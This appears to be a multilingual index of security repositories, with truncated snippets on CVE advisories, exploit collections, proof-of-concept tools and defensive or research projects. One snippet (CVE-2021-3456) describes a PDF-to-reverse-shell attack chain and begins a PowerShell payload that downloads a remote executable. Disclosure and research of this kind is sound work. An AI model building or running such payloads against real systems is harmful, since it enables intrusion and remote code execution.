CVE-2020-10130

CVE-2020-10130 - SearchBlox Product before V-9.1 is vulnerable to Business logic bypass Product Description: SearchBlox simplifies enterprise search for complex organizations. SearchBlox intuitive and intelligent tools offer out-of-the-box setup, secure encryption, and low total cost of ownership...

CVE-2021-3456

CVE-2021-3456 一条从看似无害的 PDF 文件开始，最终在 AWS EC2 实例上获得反向 shell 的实用攻击链 开端：构建 PDF 载荷 一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象，我们将一段脚本嵌入 PDF 中，该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件，并将其写入本地文件系统。 $payload = @" var wsh = WScript.CreateObject"WScript.Shell"; wsh.Exec "powershell -NoProfile...

Windows-RCE-exploits

Mi otro repositorio de GitHub para pruebas de proveedores contra ataques sin archivos - https://github.com/smgorelik/VendorSimTestScripts Windows-RCE-exploits La base de datos de muestras de exploits es un repositorio de exploits de RCE ejecución remota de código y Pruebas de Concepto para WINDOW...

CVE-2019-14222

CVE-2019-14222: Alfresco Community 中的默认证书 Alfresco Community 5.x及以下版本默认附带一组已知的私有证书。任何在本地机器上下载并安装Alfresco Community软件的用户都可以获取这些文件。 获得这些私钥后，可以用于： 访问Solr（使用x509证书认证） 使用受信任的Alfresco证书发起主动中间人攻击 如果使用非短暂密码套件，则发起被动解密攻击 NVD披露： 此漏洞的披露信息可在此处找到：here。 要求： 此漏洞需要： 应用程序使用默认的SSL/TLS证书 概念证明： 更多详情及利用过程可在此PDF中找到。...

CVE-2026-2035703-x300

CVE-2026-2035703: Tozed ZLT X300 5G CPE — Ejecución Remota de Código como Root mediante Estación Base Rogue SDR Estado: En divulgación coordinada embargo de 90 días Descubierto: 2026-08-08 Investigador: Muhammad Nadeem Danish danish1162 ID CVE: CVE-2026-2035703 Gravedad: Crítica CVSS 9.8 CWE:...

CVE-2024-34310

CVE-2024-34310 CVE-2024-34310 建议描述 发现 Jin Fang Times 内容管理系统 v3.2.3 存在 SQL 注入漏洞，通过 id 参数触发。 漏洞类型 SQL 注入 厂商产品 https://www.bjjfsd.com/ 受影响产品代码库 Jin Fang times content management system - 3.2.3 受影响组件 public function datashow$id = 0 if empty$id $this-redirect'index'; $info = M'News'-find$id; 攻击类型 远程...

CVE-2024-22526

CVE-2024-22526 漏洞概述 CVE-2024-22526 2024年4月12日 BandiView（图像查看器漏洞） 漏洞描述 安全建议 bandisoft bandiview v7.0 中的缓冲区溢出漏洞，允许本地攻击者通过 exr 图像文件导致拒绝服务（DoS）。 致谢 v7.0更新说明...

CVE-2022-37208

37208 CVE-2022-37208 建议描述 JFinal CMS 5.1.0 存在 SQL 注入漏洞。这些接口没有使用相同的组件，也没有过滤器，而是各自使用自己的 SQL 拼接方式，导致 SQL 注入。 附加信息 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql5.md 漏洞类型 SQL 注入 产品厂商 开发组 受影响产品代码库 https://github.com/jflyfox/jfinalcms - JFinal CMS 5.1.0 受影响组件...

CVE-2024-25412

CVE-2024-25412 Una vulnerabilidad de cross-site scripting XSS en Flatpress v1.3 permite a los atacantes ejecutar scripts web o HTML arbitrarios a través de un payload manipulado inyectado en el campo de correo electrónico Tipo de vulnerabilidad: Cross Site Scripting XSS Proveedor del producto:...

CVE-2020-10131

CVE-2020-10131 - CVE-2020-10131 - El producto SearchBlox anterior a V-9.2.1 es vulnerable a la inyección de macros CSV. Descripción del producto: SearchBlox simplifica la búsqueda empresarial para organizaciones complejas. Las herramientas intuitivas e inteligentes de SearchBlox ofrecen una...

curveball-plus

curveball-plus experimento de simulación de ataques Curveball CVE-2020-0601 bajo certificados implícitos ECQV con verificadores similares a Windows ¡Este archivo se actualiza constantemente!...

LeitWacht

GitLab Runner Leitwacht 用于 GitLab Runner CI/CD 容器的网络出口强制工具。Leitwacht 通过控制每个作业容器可以访问的网络来防止供应链攻击泄露秘密。 工作原理 Leitwacht 是一个独立的代理程序，与 GitLab Runner 一起在每个节点上运行。它拦截容器启动事件，附加执行原语，并将所有网络活动报告给中央后端。无需修改 GitLab Runner。 强制栈（每个容器） Container Process | | DNS 查询 端口 53 v nftables 重定向 ── DNS 代理 :15353 | |── 白名单检查（FQ...

CVE-2021-32161

..| XSStoCommandInjection2 |.. 描述： 利用反射型跨站脚本（XSS）攻击通过Webmin的文件管理器功能获取命令注入 测试版本： Webmin 1.973 GitHub 最新版本 2021-03-07 攻击类型： 远程 影响： 命令执行 漏洞利用代码 POC： 产品供应商： https://www.webmin.com 附加信息： "Webmin is a web-based system administration tool for Unix-like servers, and services with over 1,000,000...

CVE-2025-8110

CVE-2025-8110 — PoC de RCE en Gogs Silentium / HackTheBox Descargo de responsabilidad: Esta herramienta está destinada estrictamente a fines educativos y pruebas de penetración autorizadas. Úsela únicamente contra sistemas para los que tenga permiso explícito. Esta es una versión modificada de...

CVE-2025-22963

概述 Teedy 版本 = v1.11 中存在跨站请求伪造CSRF漏洞，允许远程攻击者强制已认证的最终用户在 Web 应用程序中更改其用户信息（用户名、密码等）。 CVE ID| CVE-2025-22963 ---|--- CWE ID| CWE-352 CWE Name| 跨站请求伪造CSRF CVSS 版本 3.x| 7.5 高 受影响软件| Teedy = v1.11 漏洞 由于缺乏 CSRF 保护，可以诱骗已认证用户执行非预期的操作，例如更改用户信息。 诱骗已认证用户向某个端点发送请求即可更改用户资料（包括密码），从而导致帐户接管。 修复 要修复此漏洞，请为端点实施 CSRF...

Safenet_SAC_CVE-2021-42056

SafeNet 认证客户端权限提升漏洞 CVE-2021-42056 根据Thales的网站1，SafeNet认证客户端是一个中间件客户端，用于管理Thales庞大的基于证书的身份验证器SafeNet产品组合，包括eToken、SafeNet IDPrime智能卡、USB及基于软件的设备。 多个文件设置了不恰当的权限，允许以root用户覆盖文件，以及权限提升（需要多个步骤）。 细节 CWE-378：不安全权限下的临时文件创建 CWE-377：不安全的临时文件 在安装过程中，Safenet 对以下目录设置了 chmod 777，对文件设置了 666（列出在最新SAC版本中仍然存在漏洞的文件...

EUVD-2026-92019

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

poodle-attack-sandbox

poodle-attack-sandbox 概述 这段代码是POODLE（CVE-2014-3566）的测试代码。 POODLE代表“Padding Oracle On Downgraded Legacy Encryption”，是SSLv3.0中的一个漏洞。 警告 如果您使用此代码进行攻击，可能会被您所在国家的司法当局逮捕。 仅用于学习目的。 安装 需要安装docker/docker compose，请先安装。 1. 启动容器 docker compose up --build 2. 启动中间人服务器脚本 如果要验证clientmitmtarget的连通性 docker exec -i...

CVE-2021-44228

CVE-2021-44228 El 9 de diciembre de 2021 el mundo conoció una nueva falla de seguridad relacionada con Log4J. La puntuación CVSSv3 Common Vulnerability Scoring System de la vulnerabilidad fue evaluada en 10, lo que la convierte en nivel crítico https://nvd.nist.gov/vuln/detail/CVE-2021-44228...

ecdsa-private-key-recovery

ecdsa-key-recovery Realiza ataques de recuperación de clave privada por reutilización de nonce en ECDSA y DSA Una herramienta de investigación criptográfica para analizar vulnerabilidades en firmas Recuperemos la clave privada de dos firmas que comparten el mismo nonce k. Observa cómo elegir el...